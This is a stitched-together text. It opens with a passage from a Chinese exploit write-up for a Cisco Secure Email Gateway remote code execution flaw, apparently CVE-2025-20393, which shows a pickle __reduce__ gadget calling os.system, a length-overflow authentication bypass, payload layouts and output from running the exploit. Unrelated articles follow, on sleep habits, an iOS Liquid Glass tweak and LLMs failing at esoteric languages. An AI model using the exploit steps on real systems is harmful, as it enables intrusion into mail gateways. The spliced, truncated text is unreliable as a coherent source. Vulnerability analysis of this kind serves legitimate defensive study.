│                       ▼                                                     │
│    message = _read(read_method, message_len, timeout)                       │
│    return (..., destination, message)                                       │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  RPC Handler                                                                │
│                                                                             │
│    (_, _, _, _, destination, message) = read_message(...)                   │
│                       │                                                     │
│                       ▼                                                     │
│    # destination = ''（空）- 验证被跳过或通过                                 │
│                       │                                                     │
│                       ▼                                                     │
│    result = cPickle.loads(message)  ← 攻击者控制的 PICKLE                    │
│                       │                                                     │
│                       ▼                                                     │
│    os.system('attacker_command')  ← RCE 达成                                │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘

为何 Pickle 是危险的

对不可信输入使用 cPickle.loads() 是灾难性的：

import pickle
import os

class Exploit:
def __reduce__(self):
return (os.system, ('id',))

# 序列化
payload = pickle.dumps(Exploit())

# 反序列化时执行：os.system('id')
pickle.loads(payload)  # uid=0(root) gid=0(wheel)...

__reduce__ 方法告诉 pickle 如何重建对象——而这个”重建”可以是任意代码执行。

0x05 利用策略：认证绕过深度分析

认证问题

正常操作中，EUQ RPC 协议使用 destination 字段进行认证。服务器验证传入消息是否发往自己的序列号：

# RPC 处理程序中的简化认证逻辑
def handle_rpc_message(message_data):
(_, _, _, source, destination, message) = read_message(...)

# 认证检查：destination 必须匹配服务器的序列号
if destination != MY_SERIAL_NUMBER:
raise AuthenticationError("Message not for this server")

# 仅当认证通过时，处理消息
result = cPickle.loads(message)

挑战：要利用 pickle 反序列化，我们需要通过认证检查。但如何知道目标服务器的序列号？

两种利用方式对比

方式	前提条件	溢出值	使用场景
序列号匹配	需知道目标序列号	`dst_len = serial_len`	序列号已泄露时
零长度绕过	无	`dst_len = 0`	通用，无前提条件

方式 1：序列号匹配

Serial: "564D3D47E3BCFBA26307-2EC835E2635A" (33 bytes)
Payload 长度: 256 + 33 = 289 bytes
溢出: 289 % 256 = 33 ✓

服务器读取 33 字节作为 destination → 匹配序列号 → 认证通过

Payload 布局：

┌────────────────────────┬────────────────────┬─────────────────┐
│     Server Serial      │   Pickle Payload   │    Padding      │
│       (33 bytes)       │    (72 bytes)      │  (184 bytes)    │
└────────────────────────┴────────────────────┴─────────────────┘
Total: 289 bytes → 289 % 256 = 33

│                       │
▼                       ▼
通过认证检查            cPickle.loads() → RCE

方式 2：零长度绕过（无前提条件）

一开始以为必须要有合法的序列号，然后再猫哥的提醒下发现dst_len = 0 会创建一个特殊情况。再次审视 read_message() 代码：

# CommandMessage.py - read_message() 漏洞路径
def read_message(read_method, timeout=0):
# ... 解包 header ...

# destination_length 来自 header（通过溢出被攻击者控制）
if destination_length:                    # ← [1] 检查是否非零
destination = _read(read_method, destination_length, timeout)
else:
destination = ''                      # ← [2] dst_len=0 时为空字符串！

# ... 继续处理 ...

当 destination_length = 0 时：

[1] 处的 if destination_length: 检查求值为 False（0 是假值）
代码进入 [2] 处的 else 分支
destination 被设为空字符串 ''
不从网络读取任何字节作为 destination

空 Destination 为何能绕过认证

通过分析，我们确定当 destination 为空时，认证检查存在以下行为之一：

# 场景 A：空检查跳过验证
if destination:  # 空字符串在 Python 中是假值
if destination != MY_SERIAL_NUMBER:
raise AuthenticationError(...)
# 空 destination → 验证完全被跳过

# 场景 B：广播/本地消息处理
if destination == '' or destination == MY_SERIAL_NUMBER:
# 接受消息（空 = 广播或本地）
process_message(...)

# 场景 C：错误处理穿透
try:
validate_destination(destination)  # 可能未处理空情况
except:
pass  # 静默继续

无论哪种情况，空 destination 都允许消息到达 cPickle.loads()。

两种方式对比

┌─────────────────────────────────────────────────────────────────────────────┐
│                          序列号匹配方式                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│  Payload: [SERIAL (33B)] [PICKLE (72B)] [PADDING (184B)] = 289 bytes        │
│                                                                             │
│  溢出: 289 % 256 = 33                                                       │
│                                                                             │
│  服务器读取:                                                                 │
│    dst_len = 33                                                             │
│    destination = payload[0:33] = "564D3D47E3BCFBA26307-2EC835E2635A"        │
│    认证检查: destination == MY_SERIAL → 通过 ✓                               │
│    message = payload[33:105] = pickle_gadget                                │
│    cPickle.loads(message) → RCE                                             │
│                                                                             │
│  要求: 必须知道服务器的序列号                                                 │
└─────────────────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────────────────┐
│                        零长度绕过方式 ✓                                      │
├─────────────────────────────────────────────────────────────────────────────┤
│  Payload: [PICKLE (72B)] [PADDING (184B)] = 256 bytes                       │
│                                                                             │
│  溢出: 256 % 256 = 0                                                        │
│                                                                             │
│  服务器读取:                                                                 │
│    dst_len = 0                                                              │
│    if dst_len: ... else: destination = ''  ← 空字符串                       │
│    认证检查: destination == '' → 绕过! ✓                                     │
│    message = payload[0:72] = pickle_gadget                                  │
│    cPickle.loads(message) → RCE                                             │
│                                                                             │
│  要求: 无 - 对任何目标都有效                                                  │
└─────────────────────────────────────────────────────────────────────────────┘

我们选择零长度绕过方式，因为它无需任何目标信息即可实现通用利用。

0x06 利用演示

$ python3 exploit.py 192.168.2.10 'touch /tmp/pwned'

======================================================================
CVE-2025-20393 - Cisco Secure Email Gateway RCE
Advisory: cisco-sa-sma-attack-N9bf4
======================================================================

[*] Target:   https://192.168.2.10:83
[*] Command:  touch /tmp/pwned

[*] Exploit Details:
├─ Python 2.6 struct.pack('>B', 256) = 0x00 (truncated)
├─ Pickle gadget:  72 bytes
├─ Padding:        184 bytes
├─ Total payload:  256 bytes
└─ Overflow:       256 % 256 = 0

[*] URL length: 891 bytes

[*] Sending exploit...
[+] Read timeout - likely successful!
(Server busy executing pickle payload)

验证：

References

从一夜无眠到夜夜香甜：睡个好觉并不难

作者: 纯情
时间: 2026-04-15
分类:
评论

Matrix 首页推荐

文章代表作者个人观点，少数派仅对标题和排版略作修改。

你想知道作为痘痘肌体质的我，是如何在一年左右的时间里，将皮肤从下面左图调整到右图的吗？

或许命运之锤早已敲定，「硅基生命」永远无法理解「碳基生命」身体与环境复杂又微妙的互动关系。

痘痘肌的改善之旅，「睡足觉、早睡觉、睡好觉」竟然是不可缺少的一环。

在过去的一年多里，我逐渐将自己的睡眠调整到了很舒适的状态：

大部分时候，我会在23:00左右进入卧室，和对象聊会天或看会儿书就困得不行，23:30左右就能倒头就睡。我会一夜睡到7:30准时醒来。即便偶有睡眠不佳，我第二天晚上也能很快调整回来。

本文中，我想与你分享AI无法真正共情的人生大事：睡眠。

尽管AI能为你提供海量的睡眠建议，但我希望通过自己的亲身体验和改善过程，告诉你从「难得的一夜好梦」转变为「夜夜都睡得香甜」其实没那么难。——或许你会像我一样，有像改善皮肤一样的意外收获。

期待睡眠之奖

「小孩子才做选择题，成年人当然是全都要！」

其实我们都知道，这只不过是一句网络用语。事实上，我们总是在反复权衡利弊、做出选择。大到求职、择偶、择校，小到吃什么、买什么、去哪玩，以及——今天晚上要不要熬夜。

总有人选择熬夜，因为他们认为「深夜两三小时的玩耍」超过了各种虚无缥缈的「睡眠的好处」，或者说忽视了那些遥不可及的「熬夜的伤害」。

在此，我想为你分享我身上的变化。

心情变好

两年前，我总是玩到1点多才睡，早上又得7点多起床上班。

每天即便刚刚睡醒，我也感到头昏脑胀，坐在工位上就不停打哈欠。

人一困，也没精力做事情，哈欠连天的我心情也常常很差。我一犯困就容易发脾气，小事在疲惫的我眼中宛如小针，刺进了我的肉里，让我更容易紧张和敏感。

而在最近一年的改变下，我的情绪显而易见地更加稳定了，和对象的相处中也少了很多摩擦。

我清楚地意识到：当我睡眠良好时，我自然而然能够接纳身边发生的事情，而不会随时随地启动自我保护程序。

疲惫就像是身体的报警器，在脑海深处发出警笛一般的尖啸，让我们的身体对外界刺激过度应激。而长期睡得好，就像是升级了报警装置、减少不必要的反应。

世界未曾变化，只是因为睡得好，我们内心更从容了。

保持好心情，我也更有意愿去探索和尝试新事物。比如这一张就是我在澳洲第一次尝试用超长曝光拍摄夜空，没想到拍出了仿佛壁纸一样的效果！

续航变长

作为一个南方长大的孩子，我曾经对「午睡」爱不释手。

在武汉读大学时，我对中午14:05就要上课深感不满。从小到大都是14:30下午课堂才开始的我很难接受这种「委屈」。

彼时，我受舍友影响，常常也玩手机到深夜，早上上课时就已经困得不行，自然无法离开午睡这甜蜜的负担。

在工作之后，我爱上了中午健身。这不仅节约了晚上下班后宝贵的自由时间，也给上班这漫长的8小时增加了乐趣。唯一的缺憾是，我没时间午睡了。

但奇怪的事情也发生了——渐渐地，我也不再需要午睡了。

当我晚上睡得足够好时，我的身体提供的精力续航可以一直支撑我早上上班、中午健身、下午下班，傍晚回家路上才开始犯困。

相比起中午吃饭睡觉，中午健身吃饭不睡觉可以适当减少升糖带来的晕碳效应，让我下午虽然不至于像早上那么精神，但也能有七八成的精力。

皮肤变好

如前文所述，我以前的皮肤很差，脸部各处都经常爆痘，即便用了很多所谓的祛痘护肤品都无济于事。

去年，在我调整作息、自己做饭、补充维生素、精简护肤等多重优化下，我的皮肤已经长期保持在比我过往20多年都好得多的状态：基本不爆痘，偶尔上火长痘也能很快消掉。

这带来最显著的变化就是，我整个人比以往自信多了。长痘时试图遮遮掩掩的敏感自卑，在干净的皮肤状态下早已溃散。

诚然，「长期睡得好」与「皮肤变好」并非「一因一果」关系，但一定是这「多因一果」里十分重要的一环。

你或许发现了：我专门挑选了难以被量化的变化。

我特意挑选这些与你分享，正是想表达：睡得好的价值所在，无法被智能手表所统计。我真切感受到了好睡眠的奖励，才会每天晚上期待投入床铺的怀抱。

不可量化的变化，可能才是人生关键蜕变的契机。

理解睡眠之意

请想象一下你第一个孩子出生时的情形。在医院里，医生走进病房对你说：「恭喜你，是一个健康的男孩。我们已经完成了所有的初步检查，一切看起来都很好！」她微笑着，开始向门口走去。然而，就在离开房间之前，她转过身说：「只有一件事。从这一刻开始，你的孩子在整个生命中，将会不断陷入昏迷状态，有时甚至像死去了一样。不过，尽管他的身体躺着不动，他的大脑仍会充满着令人惊叹的奇异幻觉。他生命的三分之一都将处于这种状态，我完全不知道他为什么会这么做，或者这么做有什么意义。祝你好运吧！」

你是否在想，这个孩子是不是得了什么绝症？

并非如此。其实他只是每天晚上都要睡觉而已！

这个小故事出自《我们为什么要睡觉》一书。若非睡觉之于生物真的太过重要，大自然的鬼斧神工又怎么会留着如此荒谬的设计？

理解睡眠，或许要从理解老年生活开始谈起。

我们以为的老年生活，是不是「意识不清、佝偻脊背、牙齿掉光、老眼昏花」？

但是，当我在清迈旅游的时候，我观察到游客里有很大一部分是欧美老年夫妻，虽然褶皱的皮肤和花白的头发出卖了他们的年龄，但他们仍自在舒适地在异国他乡享受东南亚明媚的阳光和丰富的美食，这不才应该是老年生活的理想状态吗？

其实我们误以为老年人的样子，是我国上上代人在早年生活中因过度劳作、卫生习惯不到位、社会资源不足等原因造成的。

而在现代，其实只要长期坚持健康习惯，到了我们这代人步入古稀之年时，我们完全可以享受「充满活力、健步如飞、牙齿齐全、视力良好」的老年生活。这些也在《中国健康老年人标准》中写得非常清楚。

我们可以用储蓄来类比睡眠对我们的意义：好好睡觉的每个夜晚，都是在为自己的长期健康存下一笔财富。如同财富的复利效应一样，长年早睡早起的好习惯所形成的复利效应会在数年后令我们超越大部分同龄人。

相反，如果我们熬夜，都如同在刷爆信用卡一样透支我们未来的健康额度，削弱我们的免疫力，并且在最后形成「利滚利滚利」的雪球效应，让未来的自己不堪重负。

夜色沉醉之前

顶多20分钟

一个阳光明媚的午后，我安然地躺在床上午睡。

一不小心，我睡了1个多小时。再次醒来时，下午的阳光依然明灿灿地躺在地面上，但是我却完全没有睡醒后的舒适感，反而觉得脑袋里有沉重的铁块在拽着我，眼睛也酸胀地不行。

相信很多朋友都体验过这种午觉睡太久的不适感，并感到奇怪：我明明休息了，却比不休息还累？

睡觉时间太长，大脑便误以为自己进入了夜晚的深度睡眠中。如果我们凌晨3点被人叫醒，是不是也是这种昏沉的感觉？

因此，我们白天要午睡的话，一定要定个20分钟的闹钟，避免影响晚上睡觉。

顶多1杯

周一喝美式，一周都没事。周二馥芮白，完事就拜拜。周三喝浓缩，干活玩命拖。周四玛奇朵，能躲我就躲周五喝拿铁，周未出去野。

层出不穷的咖啡广告，已经深入人心。遍地都是的咖啡店，也在吸引着消费者的注意。

但是，我们真的需要这么多咖啡吗？小时候几乎没喝过咖啡的我们，在工作后就真的必须每天一杯才可以吗？

我只有在明确昨晚没睡好的情况下，才会喝咖啡。即便喝，也会在中午之前喝完。那么，我为什么这么谨慎呢？

大部分人喝咖啡，是为了提神，但咖啡因起效和消退机制并不像「扇一巴掌」那么提神醒脑，而是有其内在规律：

咖啡因分子与人体催眠大师「腺苷」结构相似，当一杯咖啡下肚后，咖啡因分子能抢先与腺苷的受体结合，阻止腺苷发挥作用。

分子的结合需要时间，因此，咖啡因起效需要大约1小时，并非喝完就能立刻提神。

其次，更要命的是，咖啡因的半衰期长达约4-6小时，具体代谢能力因人而异。

这意味着如果正午12点一杯咖啡下肚，到了晚上10点，还有约1/4的咖啡因在身体里辛勤地阻碍我们入睡。越晚喝咖啡，越多咖啡因在体内阻止我们入睡。这或许也是失眠的原因之一。

此外，长期喝咖啡会导致人体耐受，咖啡便容易越喝越多。

而生活往往是迈过一个坑，又有一个坑。我的一位朋友属于对咖啡因非常敏感的人群，因此他也严格控制咖啡摄入量。但仍有一夜，他在床上辗转反侧，难以入眠，却百思不得其解：我明明没喝咖啡，为什么还睡不着？

上网查询后他才知道，原来晚上喝的可乐里面也含有咖啡因！

一个冷知识送给各位读者：虽然咖啡因这个名字似乎是咖啡专属中，但实际上在红茶、可乐、巧克力等大量食品药品中都存在。

美国食品药品监督管理局（FDA）、世界卫生组织（WHO）、中国营养学会都建议，成年人每天控制咖啡因摄入总量在400mg以内。

考虑到这是一日内的最高限额，我们总不能每天都像踩在悬崖边缘一样顶着最高限额喝咖啡，而一杯250ml的咖啡，咖啡因含量就已经在50-200mg之间不等。最好将咖啡控制在每日0-1杯（1杯约为250ml）。

同时，我们还要尽量避免以下含有咖啡因的食品：

可乐。
茶，尤其是红茶。
能量饮料、能量棒，为了提升使用者精神，可能添加了咖啡因。
巧克力及各类制品，尤其是黑巧。
部分口香糖、膳食补充剂。
部分非处方药。

顶多8分饱

我有个坏毛病。

我吃饭容易不知不觉吃很多，但是一旦晚上吃过量，肠胃不足以在睡前消化这么多食物，我的入睡就会困难重重。

每当临近午夜，我躺在床上，总感觉肚子里装着一个鼓鼓胀胀的皮球，一直向外顶着我的肚子，难受极了。

显然，晚饭也很容易影响睡眠质量。

作为睡前最后一顿的晚饭，尽量清淡，吃到七八分饱就好，避免过油、过咸、过辣、过烫、过甜等餐饮。最好能在睡前4小时吃完，留给肠胃足够的消化时间。

你也可以参考我的做法：晚饭酒足饭饱后直接刷牙「封嘴锁胃」，睡前也不必再思考「我刷牙了吗」，而是直接倒头就睡就好。

如果你和我一样半夜容易起夜尿尿，那不妨试试在睡前3小时内不再喝水，看看是否会有所改善。如果起夜长期超过2次，那建议前往医院检查。

锻造安神之所

固定时间，睡够时长

假设世界上有这样一座时钟，它通过阳光接受能量、开启新的一天，并在夜晚时分自动调试零件，确保第二天能处于良好的运行状态。

而当我们人为干扰它时，比如让它接受不规律的阳光照射，或让它在本该入夜时给它强光，那这个时钟是不是很容易损坏？

答案显而易见。

而这个时钟，其实就是我们身体的生物钟。

在《我们为什么要睡觉》一书中，作者也介绍了与人体内在生物钟相关的科学实验，人体高度依赖光照来调节自身生命节律。这也是古人能形成「日出而作、日落而息」规律作息的原因。

而随着现代光源变得愈发廉价，当1800年的人们要工作6小时才能换回1流明小时的光照时，现代人仅需工作半秒钟便能换回同样的光照，再加上手机、电脑等电子设备全方面进入我们的生活，光照似乎越来越无法正确调节我们的睡眠了。

过去一年间，我在睡眠领域形成最好的习惯，便是「固定时间入睡、固定时间起床，并且每天睡够7+小时」。

我承认，一开始想要做到这一点，并不是一件容易的事情。因此必须用上一个小技巧：倒推法，灵感来自于一本看似与睡眠无关的书《习惯的力量》：

制定计划的时候，我们要同时提前思考所有可能阻碍我们计划的因素，并将它们考虑进来。

在睡眠这里，那就是「什么在阻碍我入睡？或者睡前我必须做什么才能入睡？」，以我为例：

睡前必须刷牙，而我不太喜欢刷牙后口腔残留的牙膏味，这个味道通常需要30分钟才能消退。
睡前我喜欢在卧室收拾东西，可能需要叠衣服、收拾柜子等，大概需要10分钟。
睡前我需要洗脸、护肤，大概需要10分钟。
睡前我需要和对象聊会儿天、互动一下，或者一起拉伸，大概需要10分钟。
如果睡前还有精力的话，我会选择看会儿轻松愉快的漫画或小说。

精妙的计算结果表明：在我真的睡着之前，我大概要花30分钟「磨蹭」。

结合我的其他信息，就可以完成倒推：

工作日上班，我需要至少在7:30起床，同时我经过测试知道自己睡8小时左右精力最佳，这意味着我23:30要睡着。因此，再倒推30分钟，我应该在23:00左右就要离开客厅或书房，走进卧室准备入睡。

这便是一个较为理想的生活节律，我提前了解了自己睡眠路上的大部分障碍，并且设法将它们排除。

这样子，每日到了固定时间，我便会自觉去刷牙、洗脸、护肤，开启入睡流程。随后，在各种入睡前轻松活动的陪伴下，到了23:30前后，我便会开始犯困，在上床之后无需太久，我便会陷入深沉的梦乡。

当谈到睡多久时，这里有一个冷知识：所有成年人每天都应该睡够至少7小时。

根据美国疾控中心的建议（或要求），成年人应该睡够7小时，而青少年则至少要8小时以上。

当我想起初高中长期不足8小时的睡眠时，便会开始深思：以前的睡眠不足，是否像回旋镖一样影响着我的现在和未来？换句话说，如果我当时睡得更充足，我现在会不会头脑更聪明、身体更健康？

年龄组	具体年龄范围	每日建议睡眠时长
新生儿	0–3个月	14–17小时
婴儿	4–12个月	12–16小时（含小睡）
学步儿童	1–2岁	11–14小时（含小睡）
学龄前儿童	3–5岁	10–13小时（含小睡）
学龄儿童	6–12岁	9–12小时
青少年	13–17岁	8–10小时
成年人	18–60岁	7小时及以上
成年人	61–64岁	7–9小时
成年人	65岁及以上	7–8小时

而我是怎么知道自己要睡8小时的呢？

我并没有依赖手表，因为睡眠质量显然也是一件可以主观衡量的事情。当我睡得不好或时间较短，我会明显精力不足、哈欠连天、情绪较差，反之，我则会精力旺盛、注意力集中、情绪稳定。

多观察自己，身体会给我们答案。

避光凉爽，避免亢奋

《我们为什么要睡觉》里提及，睡眠空间有一些通用标准：一个微凉、干燥、昏暗、洁净的空间，显然要更适合入睡。这个标准对所有人都适用。

微凉：更容易入睡。
干燥：更容易入睡。
昏暗：人眼对光非常敏感，强光会影响入睡，因此建议拉上遮光窗帘，或戴上眼罩。
洁净：一个整洁干净的空间，肯定是比脏乱差污的床铺要更有「睡张力」的啦。保持洁净的小技巧便是勤换床上用品。

以我为例，我身处湿热的岭南，夏日室内温湿度常常达到28℃+、80%+。身处其中，整个人一定会觉得黏黏糊糊。

因此，睡前，我会打开空调除湿模式、26℃，拉上窗帘。此外，我大概每2周会清洗更换枕套、眼罩，每个月会更换床单、被罩，确保床上用品洁净舒适。

除此之外，我鼓励大家打造一个自己喜欢的睡眠空间——整个睡眠空间里大大小小的物品，都选择自己喜欢的！

比如，床上用品，选择自己喜欢的图案和布料！

小时候，我妈给我挑选的床上用品，都是花里胡哨的床单、被套、枕套，承载着她们那个年代的审美。实话实说，我其实一直都不喜欢，这也在某种程度上让我抗拒入睡。

直到我自己拥有自己的床品支配权后，换上了我喜欢的简约、冷淡风，简单又低饱和度的浅绿色系床品，我才开始享受「躺在床上」的感觉。

床边物品，要摆放自己喜欢的！

我很喜欢Lulu猪这个IP，正好看到有一款睡眠主题，我便在闲鱼购入了明盒，使用蓝丁胶将其粘在了床头。从此，床头便有了一起睡觉的小猪。它的被褥花纹在夜间还会泛微微夜光，特别有趣。

放下手机，与人互动

假如张三是互联网公司的运营，因为经常加班，习惯把笔记本电脑搬到床上处理工作——方便自己工作完立刻就能睡觉。

这似乎是一件初衷很好的事情，但是随着他日复一日晚上躺在床上写方案、回复消息，累了就直接睡，醒了第一件事就是摸手机刷数据。久而久之，他发现自己越来越难入睡。

明明身体很累，但一躺到床上，张三的大脑就自动切换到「工作模式」，满脑子都是 KPI 和待办事项。有时候凌晨两三点还睁着眼睛，白天上班又昏昏沉沉，形成恶性循环。

一旦床还承载了娱乐、工作等其他功能，身体会对这个区域感到困惑，不知道在这里究竟该兴奋还是困顿。

我在去年还养成了一个好习惯，帮助我更容易「到点就困、沾床就睡」，那便是不带手机上床。

每晚入睡前，我会将手机放在卧室入口架子处，这是一个在床上够不着，但又不影响我早晨听到闹钟的地方。

可能有朋友会有疑问：「没手机玩的话，我睡前做什么呢？」

其实，我们有很多事情可以做。

比如「和对象贴贴」，在我和对象同居后，睡前便自然而然地会有打闹、闲聊、贴贴等活动，这直接代替了我在睡前对电子产品的依赖。

比如「拉伸肩颈」，即便是一个人住，也可以做些轻松愉快的睡前拉伸，感受身体在一天辛勤工作后的紧绷与松弛，这也有助于睡眠。

比如「睡前阅读」，看些让自己觉得简单有趣、不烧脑的书籍，比如杂志、漫画等。以我的经验来说，最好别看小说——很容易上头熬夜追完！

当我们习惯了床只是床——一个用来睡觉的好地方之后，我们便更容易在上床后感到困倦，进而沉沉睡去。

半夜苏醒之时

夜色如旧，不看时间

南方的夏日，天光和鸟鸣总是来得很早。

有一天清晨，我起床撒尿，看到半透的窗帘已微微发亮，室内已是朦朦胧胧苏醒的模样。更让我感到紧张的是，已经有小鸟开始鸣叫，吱吱呀呀叫个不停。

我以为已经6点多了——没多长时间能睡了！紧张的我决定看下时间，结果发现原来才4点多。这才放心地再次睡过去。

相反，如果我知道现在已经6点多的话，我便很难再次入睡了，因为我会焦虑于仅剩不到1小时的睡眠了，反而让我难以入睡。

如果你在一片寂静黑暗中醒来，无论是被一阵尿意憋醒，或是其他事物吵醒，一定不要去查看现在几点几分！

时间容易让我们压力倍增。一旦看到几点几分，我们就会自动去计算「我还能睡多久」，进一步激发睡眠不足的焦虑。

因此，如果卧室里有任何能显示时间的设备，建议将其拿出卧室，或者调成晚上不显示的状态。

当半夜醒来时，告诉自己「还早着呢」，让我们像刚刚躺床上一样再次入睡吧。不必自责或烦恼，因为焦虑、愤怒、自责等负面情绪会让我们大脑兴奋起来，陷入消极思考的循环中。

晨光熹微之后

用闹钟？自然醒

「哔哔哔哔，哔哔哔哔……」

如果你iPhone用户，相信你对这令人心脏骤停的闹钟铃声再熟悉不过了。

如果每天早上都是被这么粗暴的声音唤醒，那我们「厌恶起床」也很有道理了。

但其实，起床可以是温和轻柔如一阵微风的，有很多方式可以让我们爱上起床——至少不那么讨厌它。

第一，让卧室逐渐变热。

前面提到，我们在微凉的时候更容易睡着，并保持睡意。因此，在临醒前，打破微凉的状态，则会让我们身体逐渐为苏醒做准备。

比如，炎炎夏日，我们通常会整夜开着空调。我们可以提前预设好智能开关，在闹钟响起前30分钟左右关闭空调，让环境微微变热，让睡意随着温度升高逐渐消散。

第二，让卧室逐渐变亮。

如果小时候，被爸妈进卧室一把拉开窗帘叫醒过的朋友，想必对光线对睡意摧枯拉朽的力量并不陌生。

当然，我们对自己没必要像爸妈一样那么「残忍」，我们只需要让室内变得微亮起来就好。

卧室里，如果有台灯，可以接入智能开关，并设置在闹钟响起前5分钟打开台灯，让微亮的光线悄悄激活眼皮下的感光细胞。

如果卧室窗帘有自动化开启功能，也可以在闹钟响起前5分钟让窗帘悄悄打开一条缝，让每天第一缕晨光唤醒我们。

第三，让闹钟变得轻柔。

即便有前两步，适当的闹钟依然是必不可少的，作为我们起（不来）床的最后一道防线。

我推荐使用温和轻柔、声音渐大的音乐，这能让我们确定自己应该起床了，也不会被吵得心烦意燥。

无需额外费力气寻找，现在的智能手机基本都提供了这种铃声。以iPhone为例，通过睡眠设置定闹钟，里面提供的所有铃声都是轻缓柔和且声音渐响的。我自己喜欢使用「鸟鸣」，给自己一种置身于自然环境中的感觉。

数据差？别看了

我曾戴过一小段时间的Apple Watch，来记录我的睡眠情况。但我很快就发现了一个令我困惑的局面：

当我晚上觉得睡得不错的时候，手表却说我的深度睡眠不够。而当我有些时候醒来仍哈欠连连，手表却提示我昨晚睡得不错。

有时，我甚至因此「主观矫正」了我对昨晚睡眠的认知：

明明睡得不错，却看到报告不佳的时候，我的理智会「矫正认知，让我重新感到很困」，这难道不是一种十分诡异的行为吗？

显然，所有的测量设备都是有一定误差的，睡眠监测设备也不例外。因此综合考虑后，我再也没有使用任何设备来记录我的睡眠。

取而代之的是，我会关注自己第二天早上到下午的精神状态。我是一起床就困倦疲惫、哈欠连天，还是精神不错、有精力处理各种事情？

换言之——我自己睡得好不好，难道我自己还不知道吗？

没睡好？没关系

一个略显残酷的事实是：即便我们已经践行了前面提到的所有方法和技巧，身体也不一定会乖乖听我们的。

如果我们因种种原因没能收获一个舒服的高质量睡眠。第二天醒来后，千万别因此自责。

否则，我们很容易陷入一个自责的恶性循环中：越睡不好，越自责 → 越自责，越睡不好 → 越自责，越睡不好……

因此，如果昨晚真的没睡好，我的建议是：忘了昨晚的睡眠，正常去度过自己的一天。我们甚至可以假装自己睡得一切正常，别给自己任何消极的心理暗示。

到了晚上，最重要的是，不要放弃自己的助眠流程，我们依然重新按照自己的助眠流程去完成，重新积极投入睡眠中。

就像如滚滚流水向前的人生一样，我们无法改变过去的任何事情，哪怕是昨晚的睡眠。因此，朝前看，才是我们唯一能够改变的。

写在最后

保障良好的睡眠，是一套组合拳。

以上零零总总讲了很多，其实并非其中某个技能让我睡得更好，而是所有方法加在一起，不断迭代和适应，让我从一个总是睡得一般的人，慢慢成为了一个睡得不错的人。

因此，我建议你在前面林林总总讲过的技能中，挑选你觉得最容易尝试的1-2个，先试着改变。并在不断探索自己睡眠的过程中，逐渐将更多的技能融入其中。

祝愿你不止一夜好梦，更是夜夜香甜！

参考文献

《我们为什么要睡觉？》，[英] 马修·沃克
About Sleep | Sleep | CDC
《理性乐观派》，[美] 马特·里德利
Spilling the Beans: How Much Caffeine is Too Much? | FDA
深圳市消费者委员会现制咖啡饮品比较试验结果

> 关注少数派小红书，感受精彩数字生活 🍃

> 实用、好用的正版软件，少数派为你呈现 🚀

一日一技｜Liquid Glass 液态变磨砂

作者: 纯情
时间: 2026-04-15
分类:
评论

我对 Liquid Glass 的设计没意见。毕竟这是 Apple 在品牌设计上的决定，我要用 iPhone 就只能尊重并尝试理解，实在不喜欢就摸摸手边 Pixel 的 Material 3 Expressive。

但审美方面理解不代表功能性上合理，尽管 Apple 在 iOS 26 后续更新中加了透明、色调等选项尝试哄了哄用户，但大家都知道让你在一个糟糕的和一个更糟糕的选项中二选一那就等于这个功能白做。并且默认的 Liquid Glass 效果即便我在审美上能够包容，它在实用性方面的确有点问题，各种玻璃折射、边缘畸变和高光效果，实在是太容易让人分心了。

好在最近我在浏览 Reddit 的时候看到了第三个选项。

首先，前往「设置 > 辅助功能 > 动态效果」中打开「减弱动态效果」。此时因为 iOS 系统的 bug，Liquid Glass 效果已经会出现一些变化，大部分系统动效也都变成了傻快的样子，但喜欢动效的朋友你先别急。

然后返回辅助功能设置页面，下拉至底部并找到「按 App 启用设置」选项，点击进入。不得不说 Apple 在无障碍功能的细节上做得真是周到，但可惜的是不知为何 macOS 没有提供这个设置。

在「按 App 启用设置」中点击「添加 App」，然后添加「主屏幕与 App 资源库」；添加后打开「主屏幕与 App 资源库」的辅助功能自定义，找到「减弱动态效果」并选择单独「关闭」。

值得一提的是，如果你不喜欢控制中心开关和桌面图标边缘的高亮效果，在这里打开「主屏幕与 App 资源库」的「显示边框」也能在一定程度上有缓解效果。

最后重启手机，重启后你就会发现系统界面、桌面图标、控制中心开关以及第三方应用调用的控件，都拥有了磨砂玻璃效果而不是默认的 Liquid Glass。

同时大部分系统界面又因为「按 App 启用设置」的原因，依然拥有正常的动画效果。唯一的问题是多任务界面在默认图标样式下可能会有点花，建议开启「透明」图标样式搭配使用。

不得不说，还挺让我怀念 Windows Aero 的。本教程是我在逛 Reddit 的时候发现的，操作适用于 iOS 和 iPadOS，但不适用于 macOS。如果你喜欢可以前往支持一下原作者。

> 下载少数派 2.0 客户端、关注少数派公众号，解锁全新阅读体验 📰

> 实用、好用的正版软件，少数派为你呈现 🚀

科技爱好者周刊（第 390 期）：没有语料，大模型就是智障

作者: 纯情
时间: 2026-04-15
分类:
评论

这里记录每周值得分享的科技内容，周五发布。

本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（[email protected]）。

封面图

山东日照某住宅小区的彩色风雨连廊，入口处树林还设了咖啡馆。（via）

没有语料，大模型就是智障

如果现在做一个问卷调查，问大家"你觉得大模型是否具有智能？"

我相信，大多数人会是肯定的回答。

哪怕现在只是 AI 的初级阶段，大模型已经能够替代很多的人类智力劳动，确实非常神奇。

但是，我们不要忘记真实情况，大模型不是魔法，更不是具有自主智能的"硅基智能体"，而是基于统计规律的语言模型，它的一切行为都基于数学计算。

最好的证据就是，如果让它解决没有训练过的题目，也就是不存在统计规律的话，它根本解不出来。

这就是我今天想分享的一个实验。

两位国外的研究者找了五个主流的大模型：GPT-5.2、O4-mini、Gemini 3 Pro、Qwen3-235B、Kimi K2。

他们让大模型使用五种小众的编程语言----Brainfuck、Befunge-98、Whitespace、Unlambda 和 Shakespeare----来编程解决各种问题。

这些小众语言的共同特征是，网上很少有它们的资料，因此不能用来训练大模型。大家猜猜看，结果怎么样？

实验结果用一句话总结，就是大模型的表现一塌糊涂。

这五个大模型的平均答题正确率仅为3.8%，即100道题可以答对3.8道。相比之下，它们处理 Python 问题的正确率可以达到90%。

更尴尬的是，仅有的那几道答对的题目，都是入门级。更难的级别（初级、中级、高级），所有五个大模型的正确率都为0。

